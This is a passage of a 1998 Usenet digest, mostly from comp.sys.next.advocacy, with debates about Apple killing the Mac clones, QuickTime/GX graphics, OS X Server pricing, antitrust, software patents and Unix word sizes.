worked in the 1989 to 1992 timeframe, but in '95 it was too little too late.
These statements were made well before Apple bought NeXT; and there was no way
Jobs could have know that he would become the CEO of Apple.
Are you trying to claim that Steve Jobs was making excuses for his actions in
killing off the Apple cloners, _months_ before he was asked back to Apple, and
almost a year before he did?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: 24 Nov 1998 06:27:41 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73djkt$itc@news1.panix.com>
References: <739lh9$g1r@news1.panix.com> <B27E1D09-31CD5@206.165.43.220>
On 22 Nov 98 19:56:54 -0700, Lawson English <english@primenet.com> wrote:
>Sal Denaro <sal@panix.com> said:
>What do you think the color model of GX or eQD is?
No, but since it has been discussed to death for the past two years, I'm
sure that I can look it up if I ever give a crap about it.
>><<big clip>>
>>
>>>Apple should:
>>>
>>>Extend GX typography to handle the ATSUI API (text blocks, etc)
>>>Extend GX shapes to handle QuickTime vector color ramp shapes
>>>Extend the shape types to approximate cubic Bezier graphics
>>>Extend the shape-flattening to handle the above
>>>Extend the eQD/YB graphics model to handle GX/QuickTime colors
>>>Extend the eQD/YB graphics model to handle GX/QuickTime perspective
>>>Special-case eQD/YB graphics to handle GX/QuickTime graphics shapes
>>>Create a library that loads and saves the above extended GX file format
>>>Create a GX-like API for eQD that allows developers to use the same
>>source
>>>code for 68K/PPC/eQD applications.
>>---------^^^^^
>>
>>By the time Apple gets this done, the _newest_ 68k machines will be 5+
>>years
>>old (or older) Why should Apple add support for 5+ years old hardware when
>>the same effort could go into adding improvements to _new_ machines and
>>new
>>platforms?
>
>But this would also improve the new machines while increasing the installed
>base of customers for Carbon developers to target. And ALL of the above
>wouldnt' take more than 6-12 months, if that. Most of it ALREADY exists in
>some form at Apple.
Carbon isn't going to run on 68k machines. I doubt that work done to support
68k machines will in anyway benefit the users of PPC machines.
And I very much doubt that the 6-12 months needed to do this GX work will be
worth giving up whatever projects those engineers will be pulled off of.
(Like QT4)
>>I doubt it. How many end users even know what GX is?
>How many end-users even know what Macintosh really is? 96% of all computer
>buyers don't buy Apple products. All that anyone needs to know is that GX
>makes it possible to do things that can't be done easily and/or cheaply on
>WIntel machines.
Please re-read this:
I'm not saying that GX is bad, or that adding GX support would ruin the
"purity" of the OS; what I am saying is that Apple has a finite amount of
resources, and in the finite number they have to choose those projects
that provide the greatest benefit. Why should Apple port GX, when there
are other technologies that are used more often and by greater numbers of
users that also have to be ported?
Now, given that Apple has a finite amount of resources, what should Apple
give up to build this GX layer? AppleScript? HyperCard? QD3D? YB Sherlock
framework?
Apple wasted the early 90s building great but often pointless technology.
Tell me what should they kill to make room for GX?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 06:28:55 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73djn7$iti@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <3651B5EA.68BA8B50@spamtoNull.com> <72tfvs$h34@news1.panix.com> <3659D77F.2D5FA2E2@spamtoNull.com>
On Mon, 23 Nov 1998 16:45:35 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Sal Denaro wrote:
>> On Tue, 17 Nov 1998 12:44:10 -0500, Jonathan Harker
>> >Is "Compaq" a person? I think you are confusing a person with the
>> >official policy of the company.
>>
>> Statements made by an official representative of a company can be assumed
>> to be policy of that company. When Steve Jobs makes a statement, it can be
>> inferred that said statement can from "Apple"
>>
>> That same goes for Compaq, GE, Acme widgets and every other company in
>> the US. (and possibly beyond.)
>
>Not in this case. These statements come from a subpeoned *government*
>witness. Compaq has made no such official corporate statements.
Any statement made by a Compaq official is an official statement from Compaq.
The fact that it took place after this Compaq executive was subpeoned and
sworn in no way changes the fact that he is a Compaq executive.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 23:26:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73cque$g8g$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <F2Kqu2.8Du@T-FCN.Net> <36599B34.A05CFC80@spamtoNull.com>
In article <36599B34.A05CFC80@spamtoNull.com>,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
[ ... ]
>> And if the document is unsigned, experts can examine it to determine if
>> it's genuine. It happens all the time.
>
> Nope, sorry, it does not. Without a handwritten signature or other
> handwritten identifiers, there is *no way* to conclusively prove that a
> specific individual ever authored a specific document.
If someone were to question the validity of the email being presented, it
would be a relatively simple matter to subpoena material like backup tapes
and do matching between system logfiles and the individual mail headers.
Modern mail systems do a very good job of tracking userid's, machine IP
addresses, and so forth.
Futhermore, while the identity of the initial sender _might_ be questionable
(*), there would be no question when these receipients start responding and a
conversation takes place, all of which contains cross-referencable log
entries, mail headers, citations, and the like.
Email is admissable evidence. I'd be very surprised if anyone tried to
contest the validity of the email. Deal with it, or persist in fantasizing
otherwise-- it won't make a bit of difference to the outcome....
------------ (*) And that's assuming you don't cross-reference with other
logging mechanisms like last (or NT event equivalent).
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: 23 Nov 98 23:32:16 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27FA104-19AA4E@206.165.43.34>
References: <73djkt$itc@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Sal Denaro <sal@panix.com> said:
>Apple wasted the early 90s building great but often pointless technology.
>Tell me what should they kill to make room for GX?
Nothing. Apple 68K customers should pay for an enhanced GX. If they're not
willing to, than they get no new applications.
Their loss.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 23:51:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73csej$hj6$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <364C8CF8.9A3394D5@spamtoNull.com> <tbrown-1311981850220001@mv180.axom.com> <364D94FF.88D501D@spamtoNull.com> <tbrown-1411982220190001@mv231.axom.com> <36506CF9.D2B4ED0A@spamtoNull.com> <72sdc9$4do$1@nnrp1.dejanews.com> <3659AB42.ECCD6329@spamtoNull.com>
In article <3659AB42.ECCD6329@spamtoNull.com>,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Charles Swiger wrote:
>> More seriously, where do think the codename "Mozilla" came from?
>
> Mosaic Killer...:)
And what does that imply about who Netscape was competing with?
> Yes, Netscape is such an altruistic bunch...:)
Huh? Businesses are not altruistic.
Suggesting otherwise is about as funny as suggesting that "fish swimming in
the ocean aren't wet", regardless of how many smileys you surround it with.
>> Why? To resort to analogy, if a thief gives some of his money to charity,
>> does that have any relevance to the criminality of his theft?
>
> Well, since the charitable gift would be a matter of public record in
> this case, and the "thievery" merely a matter of speculation, innuendo,
> sour grapes, and gossip (IE, no official proof of it on record), I would
> think the charitable gift (in a rational world) would be of more
> ultimate consequence.
You're dodging the question, again. This question has nothing to do with
proof, or speculation, or legal maneuvering. In order to make it very clear,
does stolen property belong to a thief or to the original owner?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 00:11:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73ctj7$ik0$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com>
In article <3659BB98.F4529E3C@spamtoNull.com>,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Andy Walton wrote:
>> The case against Microsoft isn't that they're a bunch of meany-heads; the
>> case is that they stifled competititon in the marketplace. Any such claim
>> about Apple is patently absurd, given the claim of their primary
>> competitor.
>
> So, then, Apple killing off Mac clone companies (or buying them off) is
> not considered "stifling competition in the marketplace"?
Of course it's considered "stifling competition".
> Or is it that Apple can "get by" with that merely because "compared to
> what Microsofthas allegedly done" it's small potatoes?
Apple 'can "get by"' because they do not have a market monolopy. It's not
illegal for a company to "stifle competition". Sometimes, it's not even
illegal for monopolies to stifle competition within the market they hold a
monopoly position (depending on just what they do).
What is illegal is using a monopoly position to stifle competition in other
markets.
>> You're defining "monopolistic" awfully loosely. By that definition,
>> MacDonald's should be dragged into court because it exercises monopoly
>> control over its franchisees. Never mind how many other restaurants a
>> consumer can choose from.
>
> At least, then, because consumers have several other OS's to choose from
> aside from Microsoft OSs we can at last dispense with the claim that
> "Microsoft is a monopoly." That's refreshing.
If McDonald's were the only restaraunt available in 45 states of the USA, they
would almost certainly be considered a monopoly, even if people could still go
to the other 5 states for Burger King or Wendy's. And if these 45 states had
legal agreements restricting their residents from driving to other states in
order to eat, there'd be no question at all.
Exclusive licensing agreements with a monopoly against their competitors in
other markets are very clear examples of conduct which the Sherman anti-trust
laws were written to prevent.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 24 Nov 1998 06:25:14 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73djga$isl@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733v0n$l7s$1@nnrp1.dejanews.com> <739mk5$g85@news1.panix.com> <73c33f$r7i$1@nnrp1.dejanews.com>
On Mon, 23 Nov 1998 16:39:14 GMT, spagiola@my-dejanews.com
<spagiola@my-dejanews.com> wrote:
>sal@panix.com wrote:
>> $200? I doubt it. Good or bad, they named it "server" and I expect it to be
>> priced in server-space, not user space.
>Forget what you EXPECT them to do. The question is, what would you LIKE them
>to do?
Sell it at under $500 with some kind of "WO-Lite" so I can slip it under the
door for some of my clients. Create some kind of a "WO partnership" program.
As it stands now, I doubt that I would deploy WO on anything other than NT
or Solaris. I am not going to take any risks with OSX until I see what Apple
is planning.
>What do you think they SHOULD do, to best guarantee the success of OS
>X Server and the forthcoming OS X?
Ship a copy with every new Mac than can run it, or make it a $20 BTO option
for "Pro" Macs. I think it would be very good to try and entice Mac owners
to upgrade by giving them OSX for only a few bucks over the cost of a new
machine.
Sell it for $99 in schools. Hire someone to write a "Writing YB Apps in Java"
book, make sure it is on the shelf next to OSX in every CS school. My old
school has dumped Pascal and Scheme as its "learning langauges" and now
teaches Java to CS and EE freshmen.
>Do you think that 'server-space' pricing
>will be a good or a bad thing?
I have no clue, and I will not speculate until I see what happens when they
finally ship it. As a stock holder, I hope they come up with some way of
making money off of it. If it sells well to Apple shops that might have bought
an NT box as a server, then might be a good thing.
>I, for one, think it would be a REALLY BAD
>IDEA. Just like shipping the iMac with a 33.6 modem would have been a really
>bad idea. Fortunately, Apple heard the grumbles and changed its mind. So, if
>you think their mind ought to be changed, why don't you say so?
I'll be at the WO demo in NYC on Dec 17th. If I get a chance to make a few
comments, I will.
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combattingLinux...."
Date: Tue, 24 Nov 1998 08:35:11 +0000
Organization: Self Analysis
Message-ID: <365A6FBF.758BE5C9@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net>
<364A072C.9341779B@mohawksoft.com>
<Pine.GSO.4.05.9811191310070.14908-100000@sun>
<732472$256$1@plo.sierra.com> <36553271.5E95E159@online.no.spam>
<36558a3d.714158248@news.tele.dk> <xzqyap41mk2.fsf@uni-paderborn.de>
Mime-Version: 1.0
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Axel Boldt wrote:
> Wow, that's extremely interesting. Seems like this opens up a great
> opportunity for free software development. For example, the mp3 sound
> encoders which the German Fraunhofer institute claims a world-wide
> patent on could simply be written and distributed from Denmark then,
> as free software of course.
First, IANAL.
Second, I doubt Fraunhofer has claimed "a world-wide patent" to MP3
encoding. AFAIK, patents are issued strictly on a country-by-country
basis -- there is no recipricocity as in copyright law (under the Berne
convention). Now, if I held patents in two or more countries on a
technology I might claim to hold *international* patents (that is,
multiple patents, in multiple countries), but my rights are still
restricted only to those countries in which the patents are issued.
Bluff is a weapon found in many arsenals, the claims might have been
made as you relate. Informed rebuttal is a powerful shield.
> You seem to know this stuff, so I've one other question if you don't
> mind. Would someone in the US who downloads and uses this hypothetical
> free mp3 encoder from Denmark violate any laws?
If the technology is patented in the US, almost certainly, under use,
distribution, or sale.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
12:21am up 11:37, 3 users, load average: 0.19, 0.11, 0.02
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combattingLinux...."
Date: Tue, 24 Nov 1998 08:40:22 +0000
Organization: Self Analysis
Message-ID: <365A70F6.8D1142C1@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364A072C.9341779B@mohawksoft.com> <Pine.GSO.4.05.9811191310070.14908-100000@sun> <732472$256$1@plo.sierra.com> <36553271.5E95E159@online.no.spam> <36588BF9.84B9E87B@uco-iplaw.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John Kheit wrote:
>
> Tom Ekeberg wrote:
>
> >
> > > Patents are complete monopolies. You cannot use or recreate in any way what
> > > is patented, without either licensing it or infringing on the patent.
> >
> > Is this really true in the U.S.? If I own, say, a CD player and decide to do
> > some tinkering on it in my own workshop, can I then end up infringing a patent?
>
> Yes. Of course you can. There used to be some small exceptions for university
> research, if I recall, but I'm not sure if even that is allowed. Of course,
> practically, who would stop you in your own garage? The interesting thing is you
> can do development and further the art and get a patent on some modification of the
> original patent. You might be stopped from using the patent, but the original
> patentee might be estopped from using your new modification if you obtain a patent
> on it. At that point you both would be forced to cross license your technology or
> risk infringing.
John, I gather you're a lawyer.
I find your statement hard to believe. Research based on patented
technology is forbidden under 35 U.S.C.? Could you cite the relevent
statute and/or case law?
I could understand sale of a derived work being infringing if it
embodied the original patent. I could also concieve of a derived work
resulting in patents which would block use of the first (allowing the
two parties to either starve one another (while feeding their
soliciters) or enter a cross-licensing deal). I strongly question your
statement that "tinkering on [a CD player] in my own workshop" would of
itself be an infringing act.
IANAL.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
12:31am up 11:47, 3 users, load average: 0.00, 0.02, 0.00
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,gnu.gnustep.discuss
Subject: Re: Why it is inevitable that Apple will become a Linux company
Date: Tue, 24 Nov 1998 00:35:16 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <slrn75kru4.3um.jedi@dementia.mishnet>
References: <72qhlo$gs2$1@nnrp1.dejanews.com> <johnc-1611982004130001@pppsl1041.chicagonet.net> <72qr43$3kj$1@fir.prod.itd.earthlink.net> <bholderness-1811981530000001@207-172-95-180.s53.as1.dwt.erols.com> <14C44EC81D75CB41.20941B0A27B3D88F.E3FF30CB25C20D39@library-proxy.airnews.net> <36543fbc.5998414@news.chicagonet.net> <adtF2pD5w.BJw@netcom.com> <734qin$f2o$1@plo.sierra.com> <1div3io.8fsl0210f7n28N@port1-175.nordnet.fr> <slrn75g6hr.2r0.cbbrowne@godel.brownes.org> <0CB397306BFD59DB.3D7DC8530176920E.19206DAC93E1E0F6@library-proxy.airnews.net>
On Tue, 24 Nov 1998 03:35:14 GMT, Sheldon Gartner <a1050pi@yahoo.com> wrote:
>On 22 Nov 1998 14:06:39 GMT, cbbrowne@news.brownes.org (Christopher B.
>Browne) wrote:
>
>>On Sat, 21 Nov 1998 22:15:49 +0100, Aaron Smith <asmith@nordnet.fr> posted:
>>>If you want to hammer on Apple for not GPLing the whole damn OS, then
>>>they are never going to satisfy you. However, there seems to be no good
>>>reason to replace the BSD layer with a Linux layer.
>>
>>If they could sell apps to existing Linux folk, thereby increasing sales,
>>that would be a good reason.
>>
>>>What would be much smarter would be to port the upper layers
>>>(OPENSTEP++, GUI, Imaging Model, Development environment) to Linux. This
>>>would relieve them of the burden of supporting Intel hardware directly
>>>(let the linux community futz with it) yet still give their OPENSTEP++
>>>developers access to Intel-Linux based boxes.
>>
>>Of course, there is already an effort underway to provide at least three of
>>those four items in "Open Source" form already.
>>
>>See: <http://home.sprintmail.com/~mhanni/gnustep/>
>>
>>The GNUStep Project is apparently starting to make releases of the libraries
>>in RPM and DPKG form, which eases adoption for Linux users on appropriate
>>distributions, and also indicates that GNUStep is near the point where it
>>starts to be useful for deploying applications, and not just for fiddling
>>around with libraries...
>>
>>Why depend on Apple, when we can depend on the free software community?
>
>From the newbie's standpoint (like me) the question is: What's the
>difference to the end user among KDE, GNOME and GNUStep? Is it system
>requirements, what? Are they all compatible? How close is GNUStep to
>being available for newbie desktops?
Interoperability standards are what are important. XDND
is not immutably tied to QT. It can just as easily be
used in an Athena application if you're that kind of pervert.
Of the 3 OffiX DnD I know to have on my system currently,
each was made with a different widgetset. This doesn't get
in the way in the slightest.
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
Control: cancel <73d1km$qc3$52@duke.telepac.pt>
From: mibu@scrum.muc.de (M. Buchenrieder)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: cancel: real money easy!!!
Message-ID: <cancel.73d1km$qc3$52@duke.telepac.pt>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364A072C.9341779B@mohawksoft.com> <Pine.GSO.4.05.9811191310070.14908-100000@sun> <732472$256$1@plo.sierra.com> <36553271.5E95E159@online.no.spam>
Sender: "pedro&hugo" <mop19000@mail.telepac.pt>
Date: 24 Nov 1998 09:53:24 MET
Cleaning up illegal MMF schemes.
See news.admin.net-abuse.bulletins for a more detailed record.
mibu@scrum.muc.de
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 23 Nov 1998 22:49:57 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2311981749170001@pm56-03.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net> <364DC9E9.BF932E1B@spamtoNull.com> <cirby-1411981429060001@pm61-16.magicnet.net> <365063D1.A36D254E@spamtoNull.com> <ckoller-ya02408000R1611981433240001@netnews.worldnet.att.net> <3651AF3F.2FC36106@spamtoNull.com> <ckoller-ya02408000R1711981331510001@netnews.worldnet.att.net> <adtF2Lsnp.5nD@netcom.com> <cirby-1811981312410001@pm61-42.magicnet.net> <3659DC78.F697F947@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Chad Irby wrote:
> >
> > adt@netcom.com (Anthony D. Tribelli) wrote:
> >
> > > On the other hand I can't help but wonder how many defections the cloners
> > > prevented by offering more affordable MacOS solutions.
> >
> > Not many. Everyone I knew who bought clones was shopping for
> > mid-to-high-end Apple products at the time.
>
> Interesting that they didn't buy the Apple products they were shopping
> for....
...because they had the lower-priced cloners, which were supposed to be
*expanding* Apple's market, not cannibalizing from it. It's a lot easier
to keep prices low when your development is being done by your major
competition for sales.
Apple, by doing most of the mac development at the time, was indirectly
funding the Mac clone companies, and when those companies returned the
favor by *not* doing as they promised, Apple closed the door.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 21:47:12 +1000
Organization: University of Queensland
Message-ID: <73e644$n2p$1@bunyip.cc.uq.edu.au>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net> <73cqgm$a85$1@bunyip.cc.uq.edu.au> <199811240102252737447@ts5-42.aug.com>
Rick <nojunkhattonr@aug.com> wrote in message
news:199811240102252737447@ts5-42.aug.com...
>Christopher Smith <drsmithy@usa.net> wrote:
>
>> >Maybe you should try a newer computer like the Mac.
>>
>> That's that "modern" computer/OS with no protected memory, poor
>> multitasking, no SMP and memory management even Windows *3.0* was better
>> than isn't it ?
>
>That sounds more like Windows to me.
I believe we're getting to the root of your problem - you've lost touch with
reality.
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 24 Nov 1998 12:35:38 GMT
Message-ID: <slrn75la0o.k96.float@interport.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu>
NNTP-Posting-Date: 24 Nov 1998 12:35:38 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On 23 Nov 1998 21:46:43 GMT, Sean Luke <seanl@cs.umd.edu> wrote:
>void (float@interport.net) wrote:
>
>> It's a NeXTstation, I'm running NeXTStep 3.3 on it.
>
>Not for long.
>
>See http://enterprise.apple.com/y2k/
It doesn't look too dire. I'm only using this as a graphical terminal,
more or less, from which to do remote login and web browsing. If the
system date is wrong, well, big deal -- as long as it doesn't fall over, I
won't mind.
If it does fall over, I'll just upgrade to Openstep 4.2.
--
Ben
"You have your mind on computers, it seems."
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 24 Nov 1998 13:22:46 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <73ebv6$k93$12@blue.hex.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <3659b8af.0@news2.one.net>
NNTP-Posting-Date: 24 Nov 1998 13:22:46 GMT
On 23 Nov 1998 14:34:07 -0500, nobody@no.net <nobody@no.net> wrote:
>jseymour@jimsun.LinxNet.com got plastered and spewed this unto the network:
>>We need to adjust it back the other way just a bit :-).
>
>>Yes, it's true, commercial Unixen *may* have similar requirements.
>
>Most commercial Unices run on 64-bit or higher CPUs. I imagine that 64-bit
>code and data take up a lot more RAM than 32-bit code/data. And if there
>are any 128-bit systems out there, well... The HP-UX version of a certain
>Microsoft product requires about 64 Megs of RAM, where the Windows version
>will run in somewhat less (8 Megs?).
You imagine things that are decidedly different from reality.
I am aware of approximately 110 commercial UNIXes.
Of those, only about a half dozen run on CPUs with more than 32 bits to
play with. That represents something around 5%, rather than something
"more than 50%."
Admittedly, the vast majority of these are no longer being commercially
promoted. If we only count the "major" UNIXes, we have:
- SCO - 32 bit
- HP/UX - 32 bit
- DG/UX - 32 bit
- Sinix - 32 bit
- Iris - 32 and 64 bit available
- Solaris - both 32 and 64 bit available
- AIX - both 32 and 64 bit available, I think
- Digital UNIX - 64 bit
and I would note that it is *not* clear from this that there is a
majority of these that are 64 bit systems.
It is likely that 128 bit systems will first come available for use
with video games, in much the same fashion that the Atari Jaguar was
one of the first 64 bit microprocessors to go into production.
--
When I shop for hardware I always look for the "Designed for Windows 95" logo.
I really thank Microsoft(TM) for encouraging manufacturers to label their
products this way, so I know what to AVOID.
cbbrowne@ntlug.org- <http://www.hex.net/~cbbrowne/lsf.html>
From: "Hubert.Holin" <hubert.holin@meteo.fr>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with QuickTime
Vectors
Date: Tue, 24 Nov 1998 14:16:59 +0000
Organization: Meteo-france
Message-ID: <365ABFDB.45CB4F5C@meteo.fr>
References: <*johnnyc*-2111981727130001@jchristie.halifaxcable.dal.ca> <B27F4F2C-66F7E@206.165.43.34> <365A06FE.A3055467@cygnus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 24 Nov 1998 14:08:55 GMT
Somewhere in the E.U., le 24/11/1998
John Rudd wrote:
[SNIP]
> In order to _properly_ do a transformation on data in an N dimentional
> space, you must use N+1 dimensional matrices. Thus, to propperly do
> _certain_ transformations (I believe rotations are part of this, but it
> has been a VERY long time since I've done this stuff) on 2d data, you
> must use a 3x3 matrix. Similarly, if you're doing perspective/etc
> transformations on 3d data, you must use a 4x4 matrix.
>
> There are _SOME_ operations that you can do on N dimensional data with
> NxN matrices and not have errors/artifacts, but there are also many
